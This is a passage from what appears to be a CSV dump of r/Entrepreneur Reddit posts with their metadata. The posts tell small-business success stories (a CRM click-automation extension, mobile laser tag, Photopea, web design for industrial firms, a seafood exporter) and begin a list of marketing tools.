guy that won’t leave you alone about refinancing your house. What a job. He hates it. To really rub salt in the wound, after every call he has to click a bunch of things in his CRM to log that no one (probably) answered. Takes him about 20 seconds. Not that bad? Well he does that 300 times a day. Can the CRM streamline the process I ask? Nope. That’s when my idea hit. This can be automated. In about 3 hours I hacked together a python script that would click certain parts of the screen when you hit Ctrl + K. It’s finicky but Drew’s ecstatic. Within a few days Drew tells me he’s been making more calls than 95% of his coworkers. That's 100 people. In fact his boss even publicly commended him at their all-hands meeting. That’s impressive. I couldn’t stop thinking about it. They pay Drew $40k a year. At his company alone, there’s 100 other people doing the exact same job. They all have this problem. Hours a day of clicking the same pointless buttons. By my math, that’s costing the company almost 1M a year. That’s a lot of money. What if I sold my script? Well for one it’s buggy. Every now and then the timing gets thrown off and it’ll click the wrong button. Not to mention getting employees to install Python is a non-starter. I realize this isn’t sellable. But theoretically a chrome extension could inject code directly into the webpage leading to 0 bugs and a way easier deployment story. I’ve never built a chrome extension though. Alas the internet. I spend a couple weeks doing almost nothing at work and coding away. It took a little trial and error but eventually I managed to scrape an extension together. For the website, I buy a template and make a few tweaks. It looks clean. Like really clean. Now I just have to figure out how to sell this thing. I figure I’ll send out 500 LinkedIn pitches and wait for responses. You know how many people end up responding? Zero. Well it was worth a shot. I have no connections and there’s probably way better solutions out there anyways. I table the idea. A month later I get a form submission on my website. I check it and to my utter shock it's a real person. I called Drew and pitched him joining me as my cofounder, he’s always been good with people and knows the industry. He accepts. We set up an introductory sales call. Turns out this prospect has 30 people doing Drew’s *exact* job. How did he find out about us? His answer - a youtube video I posted as the tutorial. I give him a couple free license keys and he’s off running. The extension’s a little buggy so it takes a *lot* of troubleshooting calls to get it working. To my complete surprise, this doesn’t bother him one bit. I finally understand what product market fit feels like. When we do get it running he’s ecstatic. Within a month he signs a year long contract for 25 licenses. That’s 18k a year. Over the course of a few months we have more inbound leads come in. We sign more contracts. I handle all this while working my full time job. Our extension only does one thing and it does it really well. It’s been almost 2 years. With the fed hiking interest rates, refinancing companies have entered hibernation. Unfortunately this means our business is dead. But I still can’t believe what we accomplished. My total expenses? A couple hundred in server fees. What’s next? Well hopefully you enjoyed the story. But I'd also love it if you gave me some feedback on my latest project, [ReplyFaster](https://www.replyfaster.io/). Try downloading it and let me know what you think. If you have questions with either, I'm an open book.",serjester4,1635,221,1667833320,/r/Entrepreneur/comments/yopjb9/how_i_made_47k_selling_an_unsexy_product_i_built/,https://www.reddit.com/r/Entrepreneur/comments/yopjb9/how_i_made_47k_selling_an_unsexy_product_i_built/,self.Entrepreneur,True,,,,, ojrsa4,Entrepreneur,"For the first time ever, my business reached $3,000 profit in a month!",[deleted],[deleted],1635,128,1626219031,/r/Entrepreneur/comments/ojrsa4/for_the_first_time_ever_my_business_reached_3000/,https://www.reddit.com/r/Entrepreneur/comments/ojrsa4/for_the_first_time_ever_my_business_reached_3000/,self.Entrepreneur,True,,,,, m0n5x6,Entrepreneur,If you live in a boring mid-sized town you could be making $1k/week with laser tag,"This is side hustle money, but **requires an initial investment between 5k-10k**. I'll break down some expenses at the bottom. Who is right for this: Someone that has decent customer service skills and likes interacting with the general public. If you're like me and live in a town where there isn't a ton of fun stuff to do for young people, laser tag might be a great opportunity. If you're also like me you probably have memories of playing in a dark dirty laser tag arena being rushed around with older kids and malfunctioning equipment. But if that's what you think of laser tag be a little more open minded. This is about providing mobile laser tag equipment for parties. What I like about this hustle is that you can maintain your costs low. You're not going to rent out space from a mall. You're not going to need employees. Acquiring customers for me is completely through social media ads and Google ads. When I first started planning this out I felt really motivated because I didn't see any competitors nearby. I was actually wrong about that. I later found out that there are two local competitors and an additional one that overlaps my area. What the competitors are doing wrong: Bad marketing & Bad equipment - When I said I thought I didn't have any competition I mean that. Of my 3 competitors two of them have websites (neither are mobile optimized) to make matters worse they have some of the worst photos I've seen. You have to really try to make laser tag look boring and they have managed to pull it off. The third competitor doesn't even have social media but he does have a GMB listing and some of his clients have posted photos and reviews. I've noticed the parties hes working seem to be younger kids, so I suspect he has a connection with a child care facility. For me putting together a proper WordPress website was quick and easy. What did take more effort (and a bit of cash) was photos and videos. I found a photographer that was willing to work with me relatively cheap. The subjects of the photos/video were my young cousins- compensated with lunch at chick-fil-a. This not only provided website content for me, but I also use these exciting action images of kids playing laser tag in my social media ads. I think this is really crucial. I feel like it gets overlooked when people on this subreddit talk about ads. There is a lot of discussion on the technical aspects but the actual ad itself has to convey whatever you're selling and I think we succeed at selling ""fun"". When it comes to keyword targeting you probably don't want to assume people are looking for laser tag parties (they're not). You want to be found when they search for things such as ""birthday party entertainment"". When it comes to advertising on Facebook you have to know how to target parents (moms). TikTok is something we haven't tried yet but will likely be doing very soon. Primarily I'm interested in marketing directly to the kids and getting them to ask their parents to book a party for them. Also something I'm preparing to do is EDDM, I'm going to target wealthy neighborhoods with a compelling offer. - The second thing my competitors are doing wrong (and what's going to cost you the most money) is getting good laser tag equipment. There are tons of options out there and i'm not going to shill for any company. But I would recommend you stay away from what you might find on Amazon. I can't emphasize enough you don't want to go cheap here. You want gear that will be durable and connected (yes the internet of things has reached laser tag). Bluetooth and wifi are features that some of this equipment has. I recommend it. You also want some type of easy to carry barriers for more gameplay options (this you can go cheap on). The money: Depending on where you are will impact prices. You want to aim for between $250-$300. Sessions should be 90-120 minutes. If you want to get some clients during weekdays you're going to have to offer lower rates on those days. **Costs**: After acquiring equipment your costs will be advertising, transportation, and insurance. There's a lot of possibilities here depending on where you advertise, what you drive, and what kind of policy you get. **For me** this is **roughly $600/month**. EDIT: Have been considering starting a ""league"" with tournaments. Just curious if thats something you guys would have been into when you were younger? EDIT 2: Okay a couple of you have convinced me to look into franchising. I am going to have to research corporate owned franchises.",DannyDawg,1630,255,1615230153,/r/Entrepreneur/comments/m0n5x6/if_you_live_in_a_boring_midsized_town_you_could/,https://www.reddit.com/r/Entrepreneur/comments/m0n5x6/if_you_live_in_a_boring_midsized_town_you_could/,self.Entrepreneur,True,,,,, st8p5c,Entrepreneur,"I have millions of users, but no businesses use it","Hi, my name is Ivan and I made a free photo editor [www.Photopea.com](https://www.Photopea.com) . It is very advanced and I am confident to say, that it can replace Adobe Photoshop, Pixelmator, Affinity Photo and other tools. I released it in 2013 and now, 4 million people have used it in the last 30 days. All this time, I wanted it to be totally free to use. It has attracted many people who can not afford to pay. Many of them are children, who use like 1% of features. Some teachers teach Photopea at schools, because a school can not afford expensive software, or they only have Chromebooks (which can not run regular apps). I still struggle to attract businesses. To be clear, there are some adults, professionals (not necessary designers) using Photopea. They even use it to solve tasks for their employer / company. The company usually doesn't provide any software to do the job, or they don't like the interface of the software they are given, or the software they get can not do what they need. These people tend to keep it a secret, that they used Photopea. Often, it sounds like they are afraid, that their boss would be angry at them for not using the tool they were told to use. Or they feel ashamed to admit they use a tool nobody has ever heard of (like wearing watches from a brand nobody knows). In short, it feels like some companies are paying for software X, which nobody uses, and employees end up using software Y, for which nobody pays. I would like to make Photopea more ""sexy"" to companies. They could start using a free version (with ads), and if they like it, they could order a Premium for their employees. Could you maybe look at Photopea and give me some hints, what could I do to improve it? P. S. Photopea runs in a web browser and I think 60% of businesses do not trust such tools, as they are used to ""own"" the software and have it in their device (even though Photopea never uploads any singe bit of data, everything runs in your computer). It will probably take decades to change that.",ivanhoe90,1619,578,1644947256,/r/Entrepreneur/comments/st8p5c/i_have_millions_of_users_but_no_businesses_use_it/,https://www.reddit.com/r/Entrepreneur/comments/st8p5c/i_have_millions_of_users_but_no_businesses_use_it/,self.Entrepreneur,True,,,,, 7gqa7n,Entrepreneur,I quit my dead end $60k sales job and started a marketing firm. Today I closed my books on my sixth month.,"I started with about $5,000 in cash. I was able to bring on two good customers really quickly from my last job and I started selling. I’ve paid myself every month comparatively to what I was making before to basically keep my lifestyle and stay out of personal debt. Today I closed my books with roughly: $10k in cash I’m owed: $900 out 61-90 days (way to go state of SC) $7k out 31-60 days $21k out 1-30 days I owe $6k in the next 30 days, and have $6k on the business credit card. The pipeline is growing. I’m sitting in my office with my accounting software on one screen and Reddit on the other and I have tears rolling down my face. I did this. No one else. Part of me wants to take December off. The other part of me can’t wait to get to work on Monday. ",Recampb,1618,202,1512081380,/r/Entrepreneur/comments/7gqa7n/i_quit_my_dead_end_60k_sales_job_and_started_a/,https://www.reddit.com/r/Entrepreneur/comments/7gqa7n/i_quit_my_dead_end_60k_sales_job_and_started_a/,self.Entrepreneur,True,,,,, 5ffp9j,Entrepreneur,"Web Design: Only started in Jan this year, making over $10,000 consistently every month. Lots of lessons... AMA","**Thanks for the massive response on this everyone. I run a business during the day and wasn't really planning on this much feedback - I have tried to get back to everyone best as possible and will continue to do so as best as I can. Why am I sharing this? Steel sharpens steel. There isn no shortage of this work and many won't even try (thats not a dig). There are millions of websites and no matter how good they are now they need to be redone every few years anyway. A few will try though and as I scale up next year I would love to work with those who are as driven as I am. Those who doubt this money need to rethink what is possible. 10k+ is only one or two big websites a month. These figures are not that big in the larger scale of things but its only possible if you think it is. I was in the same place last year doubting I could even survive on web design but as I progressed I seen there is plenty of well paying work available. Again though its not easy and it is time consuming. None of this is meant to sound like I am preaching but rather just to confirm its possible. I hope to post on selling more tonight if possible. Thanks for reading so far** (tried to get this bold but couldn't?) Hi Guys, I started a small web development company this year in January and I wanted to document my journey from making nothing for the first few months up to a steady income of over $10,000 a month. This isn’t all profit as I will explain but it’s been good so far and my best month was $17,000+. Apologies for my rant-ish writing and hopefully some of you get some value out of this. *** This isn't some magic get rich formula but it is a great way to learn some useful skills and get paid decent money to help people’s businesses. Also the profit and skills can be quickly used to start your own business. It takes a lot of work though and plenty of hours sitting at your computer – just want to be realistic from the start! *** Backstory: I used to work as a drilling engineer in Alberta, Canada (I am Irish) but when oil crashed I was let go pretty fast. I decided to travel in South America for a month, which I loved, but I had to go back to Canada and try find some more work. Even though I had made some good money in oil I spent it as fast as I made it and I was back to very little savings. I worked some odds jobs including moving furniture for an events company and other things. I got pretty sick of it and decided to risk it all and sell everything I owned non-essential and move back to South America. I moved just before Christmas last year and rented a small apartment in a quiet neighborhood. I slept on the ground on a mattress and basically had nothing but a desk, laptop and Wi-Fi connection. I had never successfully made money online before and I had no idea where to start. I tried Instagram marketing for a month and failure miserably. I did get some comments from Gary Vaynerchuk though which was cool. I ended up doing a Udemy course to build a website for a product I was working on. I actually really liked the website and I found coding kind of fun. I decided to give this a go and went to work. Months 2-5: First stop was UpWork, which was brutal. I did about 3-4 months on here in total and it was pretty rough. I got some good clients but most were dicks and after some kid changed his mind for the 20th time on a $100 website I quit. I never made more than $200 and most websites took me two weeks to build (multiple changes, clients were slow, kept changing their mind). Months 5-6: After that I decided to just start approaching people I knew and I did some websites for $200-500. They were mostly for small businesses that didn’t have much cash flow and could not afford to pay me much. The websites were okay but they weren’t getting great results for their owners so I didn’t feel like I could charge much. Months 6+: At the time I was doing some legal work for Canada and the person I was working with had a terrible website. One day I asked her if she would want me to fix it (broken pages, terrible design) and she immediately said yes. She said she had been meaning to do it for years and badly needed it done. She said name my price. I picked the highest figure I could think of since I knew she had a very profitable business -$2,000! It took me about 4 weeks to finish but I felt super happy about it. I spent a LOT of time on having it look great and making sure the images and copy (text) was perfect. When I gave it to her she loved it. Afterwards I asked her if she had gone with a real web design company what price would she have been happy to pay for the exact same website. Her answer… $5,000-6,000. Whoops. After this job I figured out a lot of what I had been doing wrong. I had been trying to get smaller companies to pay for websites that they would see very little ROI on. They would never be able to pay much because they just don’t make much. Or they do make a bit but having a good website doesn’t help them make more (good example is a gym - you just go to the nearest gym or the one someone recommends, a cool website won't help *too* much). I completely changed my strategy and started approaching larger companies that made a lot of money and were losing A LOT by having a terrible website. These are actually not too hard to find (if people want I can cover this is another post) and after a lot of cold calls and emails I started to get traction. I moved from $2,000 to $4,000 to $6,500 and after a few more up to $15,000. I read a lot on sales, marketing, design but I still only knew basic HTML and CSS. I would start off with a basic theme (around $30) and make a lot of changes to come up with a great design. Now I know people might be saying that isn’t the best coding practice (and it is not) but I added a lot of value in other areas and everyone was super happy with their websites. They are simple static designs (these owners don’t want to edit anything again for a long time) but the results were really powerful. - One business got a over 10 times increase in bookings (value 40-90k a month in future clients) - Directly helped an oil company close a contract for over 1 million with a great new website (portfolio, downloadable brochure) - Helped a pro athlete increase his sponsors and also get more recognition These are just a few examples but I am really happy with every one so far and my clients love to rave about the websites and the success. Quick recap: - I started with zero coding knowledge in January of this year. I didn't know how to host a website, I didn't know what HTML or CSS was, I made a tonne of really basic mistakes and figured it all out by myself. I didn't take any expensive courses, had no mentors and probably only spent a few hundred dollars getting set up. It took me a while to refine my niche but what I now focus on now is building simple yet powerful websites that get huge results. I usually charge between 4-15k and usually have a waiting list of 2-3 websites. While I made good money on these websites its nice to know that the value I added is many times more and all my clients have been very satisfied. I am still in the early stages of figuring this all out though so I will continue to add to this post with more lessons if people want. So my humble advice on how to begin: *** I only build ""custom"" HTML websites, I don't know/use wordpress except in some rare cases for add on blog/news sections to my sites. Why? Most of my clients are very busy, non-tech people. They don't want or have time to update their websites. They want it built well and they want it to run itself. HTML is a lot better for this and when done right looks way more professional and requires less maintenance (IMO). I don't have anything against WordPress just that I prefer to use HTML and both work fine for what I am doing. *** How to quickly begin with HTML: Take the HTML and CSS lessons on https://www.codecademy.com/. You can also do the JS section but I didn't and have been just fine. Next take the following UDEMY course (non affiliate): https://www.udemy.com/design-and-develop-a-killer-website-with-html5-and-css3/ After this you will now know how to edit and work with HTML themes. What does that mean? Well there is no point creating a website from scratch. That takes years of coding experience and a lot of time for each new clients. Luckily enough people have gone and created HTML themes - its an already coded website where you just rearrange, switch out the pictures and text and add in a few extra bits. I am making this sound simpler than it is but its still quiet simple. An example of a theme is here... (again non affiliate) https://themeforest.net/item/foundry-multipurpose-html-variant-page-builder/11562108?s_rank=9 It just a blank slate with a certain style that you work with. While this may seem like strange or cheating (I thought this was how to learn to build websites!??) its not. Anyone with an Internet connection can create a website these days so that is not where I try to add value. I add value by building a website with a purpose. I aim to build websites that get results and make money, or whatever they are trying to achieve, for the owner. Its not about code, its about how it helps the owner. *** I hope this doesn’t piss off the obviously good coders on here, I do my best to code well but I am still learning *** So how do you build a website that gets great results? Good question. So first important thing is your clients want sales not a website. They don’t want a website that looks amazing, has cool videos and sections, talks about the companies recent golf tournament or how they really wanted to do X since they were 5 UNLESS it helps gets sales. Everything must be about getting a result. Every page, link, click and action on the website is to help facilitate the growth of the company and sales. Lets take for example an immigration lawyer website... Is the goal of the site to teach you about immigration law? Is it to show you stats of work, trade and education within the country? Is it to teach you about what to do when you first arrive, what to pack, what to expect? No. The whole purpose of that website is for the user to either book a consultation or contact them regarding their services. Which both lead to that person hiring them as their immigration lawyer. Now it might use some of the above points to help with that goal but it only has one main purpose. Everything we do for that client must help with that goal or if it doesn't help... be removed. Once you sell results there is no limit to what you can charge and achieve. So where do a lot of people go wrong? The types of clients you help. Imagine for a second the website you build will only ever generate one sale per year. Maybe only one sale ever. Now lets go over some businesses you could build a website for... Client one: Jimmy & Friends Coffee Shop. One sale is a cup of coffee or maybe if they are lucky a lunch special. One sale profit: $3-10 profit maybe. Client Two: Jimmy & Co Travel Agency. Maybe that one sale is a trip to Paris, or maybe even a round the world one year break. Profits on travel are slim though and the internet is really driving down those juice margins. One sale profit: $150- $1,000 profit maybe. Client Three: Jimmy Inc. Industrial Clean Up Services. Now this website is not on the sexy side of things. It won't exact be winning website of the year award or going viral on FB but... One sale of a large scale clean up at that oil refinery this winter... Maybe $500,000 to $4 million. Maybe more. Now when it comes time to sell websites you always want to aim to get your clients ten times the results that they invest in you. So lets do the maths... Client One: You can justify 30c - $1 Client Two: You can justify $15 - $100 Client Three: You can justify $50k to $400,000. It’s the same amount of time dealing with the client, same amount of time coding, same amount of time hiring a pro photographer. Very different result. Now what you charge is your own choice. But the above example should clearly show who to build for: - Construction - Industrial Services - Engineering - Oil - Legal - Medical - Other Blue Collar niches The first four are my favorite. Unsexy, boring, aggressive clients (people are scared to call them which I like!), potnetial large contracts. ""Hey but what about tech start ups and that new app, they are making a zillion dollars. Lets go build for them!!!"" No way and here is why... - They are in the design and internet business, they know guys already or have minimum wage slaves to work round the clock on design and websites - There is no shortage of guys trying to approach the ""cool"" companies for web design - You will always be replaceable and undercut by others - They won't see your value Your aim is to become a problem solver for large, boring, industrial companies that know nothing about the internet and want to deal with a ""regular guy"" to fix that website. *** Disclaimer *** While $15k+ a month (sales) might sound like a lot it’s not really. It’s enough. Enough to invest in my real businesses and cover my basic living costs. Not every month is clean profit. I reinvest a lot of money into education, design and growing. Things go wrong and learning from scratch is hard work. Some jobs run overtime, some things I have to do twice, or three times or more. I am not sipping cocktails on some beach while I go code once or twice a week on a hammock. I have since got a bed but I still live quite humble. I code 8 - 10 hours a day and also spend half the morning at Uni trying to learn Spanish. This is a crash course on entrepreneurship while you earn money. You have to learn to sell, cold call, manage, outsource, and so on. Everyday. Coding websites is time intensive by nature. If you are looking for easy money this probably isn't it. If you are looking to learn about business really fast though while funding and learning how to grow your own business this is excellent. Just want to add that in before someone thinks this is some overnight hack plan. Next year I am going to focus on scaling more and bringing on some part time staff. At the moment I have some copywriters and use some people off UpWork and Fiverr. There is a lot more I could talk about but this post is huge. I have posted some of this info on another forum before but I wanted to added it here since I have got a lot of value from a few posts on this sub reddit before. I will answer whatever questions you might have. I also have a little FB group where we help each other out... https://www.facebook.com/groups/makemoneywithwebdesign/ (no business or spamming please - its just to help each other) Thanks for reading, hopefully not too many typos. 1st Edit: Thanks for all the positive comments and feedback. I will try get to everyone soon. I got through maybe half those comments and I will hit up more later after work. Sales seems to be a common theme so Ill expand on that too. Hope this advice helps. I won't be ""proving"" anything but hopefully my advice shows I know what I am talking about. I definitely am not a great coder but the work I do has added a lot of value and revenue to my clients so I feel great about what I have done. This and other forums (fastlane forum) have helped me a lot over the years so its great to give back. I actually had some doubts about posting here since its a big wilder than other threads but I like the pressure and it helps me step up my game. Ill be back later tonight to post more. Thanks. 2nd and final part: Sales Side intro note: This was a simple AMA, I am not out to prove or convince anyone. If you think 10K a month is some huge figure you will approach it as such. It is not, its 2 big sales, or 1 small sale. There are a billion terrible websites. Learn to sell (from real resources not a quick reddit thread) and you can get in on this action. I know guys doing 40-50K a month with this stuff as a small team, and I know people doing 100-200k a month in ecommerce. 10k is small. When I started it seemed huge but its better to try focus on how little sales really make up that figure. I won't be responding to any more 20 point lists. I don't care and particular posters failures or bitterness doesn't change my reality. Anyway its only like 5 people but they keep posting - use that energy and pick up a phone! How to find jobs when you are first starting: Google As for finding companies that could need a new website its very easy. In fact its probably one of the easiest services to find potential customers for. Job formula: Google... ""niche industry"" + ""local town"" and go through the first few pages of results. Anything that looks below par is suitable. I try go for companies that are clearly doing well but haven't updated the website in 3-6 years. You can usually tell by the date in the footer. For example I google ""Carpet search Calgary"", Within the first few searches this site came up... http://envirosurfaceremovers.com/ Probably a 4k job. Nice thing is he is ranked high on Google but has a poorly converting site. I don't have to focus on SEO or convincing him people will visit since its already on the first page. All he needs now is good copy, images and a clear path of desired action for customers to take. I would probably start the phone call off with that. You could do that all day and not run out of companies that need a better website. I go for certain niches - guys that probably don't like to deal with web companies. A lot of the companies outside of bug cities are run by red blooded, blue collar guys. The last thing they want is some ""nerd"" ( I am a secret nerd) they have to deal with. I run a no-bullshit web design company and know the way these people like to do deals and communicate. I don't talk about ""migrating hosting"" I just simply say the website has to be moved etc. I have 3 years experience on the oil rigs and grew up in a construction family so I know how to get on well with these guys. I think thats one main area that sets me apart. I hear a lot of ""our current web guy is impossible to deal with, he is really weird / annoying /lazy / arrogant "". Its not a tough game to be better than the rest and Im only getting started. You can see by some posters on any coding/business forum that their attitude is not helping - be ""cool"", friends, helpful and useful. If you are stuck on this read How to Win Friends and Influence People. It works. Now let me show you how this works in realtime (don't all call this person at once ha)... Today (like right now) this guy is using Adwords for ""Immigration Lawyer Canada"" ... http://www.somjen.com/ Thats an expensive search. Go check out that site. Easy sale. Already spending money, you just need to redirect it. Web design is the easiest business in the world to find new sales - you have a full list of them anytime you search anything. I have already covered what to say when they pick up in the comments below. If you can't sell to people with sites this bad then please go work on that, its key to making bigger money. Once you do a few websites, and get great results, it is even easier to sell. Slowly move up to larger and larger businesses. As you move up you will need to improve on some things like invoices, email communication, information request forms etc but you can learn it all as it goes. Ways to even boost more sales... - Sales guys on commission (covered below) - 10% referral or free work for businesses that promote you - Working the network - Lets say you do a website for X Service in New York, then when its done call every other X Service in nearby cities. Show them your results OR call every other different business that is geographically close to X service. Work the connections - Believe in what you do. I love helping people and I love my websites. If you treat this as some money scheme or scam people will be able to tell and you get sales. If you look at this thread its like 90% upvoted because I gave a lot of value upfront and people responded, its the same with companies. Not everyone will respond (just like this thread ha) but you only need 2/3 a month. *********************** AIM BIG *********************** I did just as much work for $150 a month as I did for $15,000. Well maybe a little more work now but not much. Sales for a HUGE site and a small one takes the same amount of time, so does emails, so do calls, so does hosting, so does invoicing, so does 100 other things. The only bid difference is design and code but that is only 30% of a job. My point is it is easier to aim big. Aiming big pushes you harder and gives you the reward to keep going. Aiming small sucks and everyday is a drag. I have been there. So instead of dialing the small cafe dial Jimmys Tow Truck company, believe in what you can do and what you can achieve. Well that is it. This wasn't a ""here are the super secrets to $$$"", it was an AMA. These are my best answers and I hope you enjoyed them. I am still learning and still growing. I mess up all the time still but I keep the show on the road. If you think I am definitely wrong about X - maybe I am, but enough of this works to hold it all together. I got a lot of great responses and I am very grateful. If I was starting again I would have loved to see something like this and it probably would have saved months of time. Scarysaturday if you ever come to South America Ill buy you a beer to cheer you up. Thanks everyone. ",username-fox,1602,470,1480382356,/r/Entrepreneur/comments/5ffp9j/web_design_only_started_in_jan_this_year_making/,https://www.reddit.com/r/Entrepreneur/comments/5ffp9j/web_design_only_started_in_jan_this_year_making/,self.Entrepreneur,True,,,,, 8vtw1s,Entrepreneur,"Never work for free. There's a near 100% chance the recipient will be ungrateful... and you know how I know they won't be grateful? Because if they cared about your work, they wouldn't have asked you to do it for free in the first place.",,frankalliance,1600,109,1530637490,/r/Entrepreneur/comments/8vtw1s/never_work_for_free_theres_a_near_100_chance_the/,https://www.reddit.com/r/Entrepreneur/comments/8vtw1s/never_work_for_free_theres_a_near_100_chance_the/,self.Entrepreneur,True,,,,, ygnko2,Entrepreneur,I became a self made millionaire at 25 in a third world country. I will share my story here:,"I am from Central America, a tropical region with lots of poverty and problems. Since I was a kid, I had the drive to put extra effort on achieving something. I started selling bananas to construction workers at 7 later selling candy to schoolmates at 10. At 15 I decided to study business and become either an over achiever employee or a business owner, at that time I didn’t exactly know which path to take. While I was in university (BA studies), I noticed I had a lot of spare time after school, so instead of wasting my time on leisure, I decided to start a business, I had no clue of which kind of business start (also to start one that didn’t require much money because I had none.) I met with fellow classmates that were smart and also wanted to stand out, so together we decided to start a coffee distribution company. We were offering coffee to restaurants and hotels but competition was very tough and we just couldn’t close deals to get to break even. I started noticing the first signs of a red ocean industry and how tough it is to stand out in that kind of industry. My cofounders were not putting the same effort as I was, and that frustrated me. At a point my dorm served as the company’s warehouse, packing center and distribution center, I was closing almost all of the sales with clients and also doing the delivery. I noticed many companies offered high quality coffee but only a few offered high quality tea. Also in my region (a coffee growing region) there are a lot of coffee sellers as we live in a coffee growing country. Tea was always imported from Asia and few companies actually focused on it. I noticed there was an opportunity on focusing on tea, instead of coffee. I offered my cofounders to buy their shares and they agreed (for them it was a relief) so I started sourcing tea that was grown locally and mixing it with herbs, spiced and fruits to create tasty tea blends. The product was very good and without competitors, so I went to Mcdonald’s HQ and offered the product for Mccafe. Mcdonald’s loved the product and agreed on the price (they also liked that I was very young). My tea processing was being done at my dorm so I lacked all the licenses required to supply at Mcdonald’s standards, so I was very sincere with the Supply Chain director and told him I had all the desire but lacked the money to build the proper tea facility. I offered him teapots and with the teapot earnings I could buy the machinery and equipment required to supply them properly and also to get the sanitary approvals. He agreed on the teapots and gave me a 50% advance ($50k) for them. I bought 5,000 teapots in Alibaba (China) for $3 each and sold them at $20 to Mccafe. I used all the profits to build the facility and it took me almost one year to finally start supplying Mcdonald’s. While I was already supplying them, I noticed the tea market was very small (a Blue Ocean kind, but actually a blue pond) My ambitious goals (become a billionaire at 35) would be tough to reach staying exclusively in the tea industry. I kept hustling for two years on the tea, until an opportunity came to me (or I came to it). While I was offering tea to a sushi restaurant, out of curiosity, asked if the fish served there was locally caught. The owner said; “No, it comes from Asia because local fish has bad quality and I can’t risk my restaurant’s reputation or client’s health giving them bad quality fish.” It startled me that local restaurants didn’t use local fish even though we have plenty access to both Atlantic and Pacific Ocean. Seemed like an obvious problem, so I started to find out why, what asians did right and what us, central americans did wrong. After months of obsessive research, the problem was lack of knowledge and investment in the local fishing industry resulting in fisherman living in poverty conditions with no ability to supply high quality fish. The solution was to teach them good practices and invest in a high quality seafood processing facility, the cost of the solution was over $400,000 in investment money that I didn’t had. So I decided to build a team, test out our theory and provide the product to restaurants and learn form their feedback. It was a lean start up mentality to start small and cheap to prove the business thesis. We received excellent feedback and real purchase interest from restaurants. That was enough to know it was a great opportunity and also a huge market potential for growth. So I decided to pitch my way up until I could secure the funds. After a year of pitching, I was far from the goal (securing $400k in a third world country is nearly impossible if you are a young entrepreneur with an idea.) So I started enrolling in international entrepreneurship competitions, I was able to compete in GSEA and then Hult Prize. I didn’t win them, (earned a 2nd place in both) but it was enough to broaden my network with wealthy investors with deep pockets. I secured funding early 2020 and started building the fish facility in February, the Covid lockdown hit us hard and we couldn’t deliver what our investor expected. So legal fights came, with lawyers I couldn’t afford, while managing a born-dead company, while also pitching again to secure more funds to get us out of the hole. Our initial investor agreed to sell his shares if given 40% ROI, paid $150k up front and semestral payments for 5 years A new investment fund gave us a loan to pay back the previous investor and additional $300k for working capital. Very high interest rate, but at least we got a runway to prove our business through time. After restructuring and getting rid of internal and external bad apples, we started buying, processing and selling fish in May 2021, we closed 2021 with $2m in revenue and we will close 2022 with $10m revenue, beyond supplying fish to local restaurants we also provide fresh fish (airplane delivery) to restaurants in Miami, NY, LA, frozen fish to hotel chains all over America. We have healthy debts now, a good EBITDA and a growth trajectory that will put us in $100m annual revenue in less than ten years, we will keep reinvesting profits on CAPEX and OPEX to keep up with the growth trajectory. God has been an integral part of my journey. Lessons learned: 1. Vision and Goals must be clear. 2. The path can change, the goals can’t. 3. Having a mission is key. 4. Hustle, Hustle, Hustle 5. Have a great team that compliment your strengths ad weaknesses. Edit: Some redditors don’t believe this, so search for “Forbes Centroamerica Abril 2022” 30 promesas de los negocios, you will see my face on the cover. New edit: I will start providing proof of my story on my profile so all of you skeptics can believe, this isn’t for me! It’s for you!!! Human confidence and trust has brought humanity to great lengths, imagine that closed mentality was the same that kept cavemen from believing that human made fire wasn’t sorcery. I hope you enjoyed my story!!!",starterman001,1594,388,1667059838,/r/Entrepreneur/comments/ygnko2/i_became_a_self_made_millionaire_at_25_in_a_third/,https://www.reddit.com/r/Entrepreneur/comments/ygnko2/i_became_a_self_made_millionaire_at_25_in_a_third/,self.Entrepreneur,True,,,,, h0whaw,Entrepreneur,I tested hundreds of marketing tools in the last three years and these 50 made it to the list. I'll sum up my top 50 marketing tools with one or two sentences + give you pricings.,"Hey guys, I'm working in a growth marketing agency. Marketing tools are 30% of what we do, so we use them a lot and experiment with the new ones as much as possible. There are thousands of tools and it's easy to get lost, so I wanted to share the tools we use most on a daily basis. And divide the list into 14 categories. I thought this could be handy for Entrepreneurs subreddit. Why adopt tools? I see marketing tools as tireless colleagues. If you can't hire an employee, choosing the right tool can solve your problems, because they * Are super cheap. * Work 7/24 for you. * Don’t make mistakes. * Don’t need management. (or needless management) * Help you to automate the majority of your lead gen process. Onwards to the list. (With the pricings post ended up quite long, you can find a link in the end if you want to check the prices) # Email marketing tools **#1 ActiveCampaign** is armed with the most complicated email automation features and has the most intuitive user experience. It feels like you already know how to use it. \#2 **Autopilot** is visual marketing automation and customer journey tool that helps you acquire, nurture based on behaviors, interest etc. **#3 Mailjet:** This is the tool we use to send out bulky email campaigns such as newsletters. It doesn't have sexy features like others but does its job for a cheap price. # Email address finders **#4 Skrapp** finds email of your contacts by name and company. It also works with LinkedIn Sales Navigator and can extract thousands of emails in bulk + have a browser add-on. **#5 Hunter:** Similar to Skrapp but doesn't work with LinkedIn Sales Navigator directly. In addition, there are email templates and you can set up email campaigns. # Prospecting and outreach tools **#6 Prospect** combines the personal emails, follow-up calls, other social touches and helps you create multichannel campaigns.  **#7 Reply i**s a more intuitive version of Prospect. It is easy to learn and use; their UX makes you feel good and sufficient.  # CRM tools **#8 Salesflare** helps you to stop managing your data and start managing your customers. Not yet popular as Hubspot and etc but the best solution for smaller B2B businesses. (we're fans) \#**9 Hubspot:** The most popular CRM for good reason and has a broader product range you can adopt in your next steps. Try this if you have a bulky list of customers because it is **free.** **#10 Pardot:** Pardot is by Salesforce, it's armed with features that can close the gap between marketing and sales. # Sales Tools **#11 Salesforce** is the best sales automation and lead management software. It helps you to create complicated segmentations and run, track, analyze campaigns from the same dashboard. **#12 LinkedIn Sales Navigator** gives you full access to LinkedIn's user database. You can even find a kidnapped CEO if you know how to use it with other marketing automation tools like Skrapp. **#13 Pipedrive** is a simple tool and excels in one thing. It tracks your leads and tells you when to take the next action. It makes sales easier. **#14 Qwilr c**reates great-looking docs, at speed. You can design perfect proposals, quotes, client updates, and more in a flash. We use it a lot to close deals, it's effective. **#15 Crystalknows** is an add-on that tells you anyone’s personality on LinkedIn and gives you a detailed approach specific to that person. It's eerily accurate. **#16 Leadfeeder** shows you the companies that visited your website. Tells how they found you and what they’re interested in. It has a free version. # Communication Tools **#17 Intercom** is a sweet and smart host that welcomes your visitors when you’re not home. It’s one of the best chatbot tools in the market. **#18 Drift** is famous for its conversational marketing features and more sales-focused than Intercom. **#19 Manychat** is a chatbot that helps you create high converting 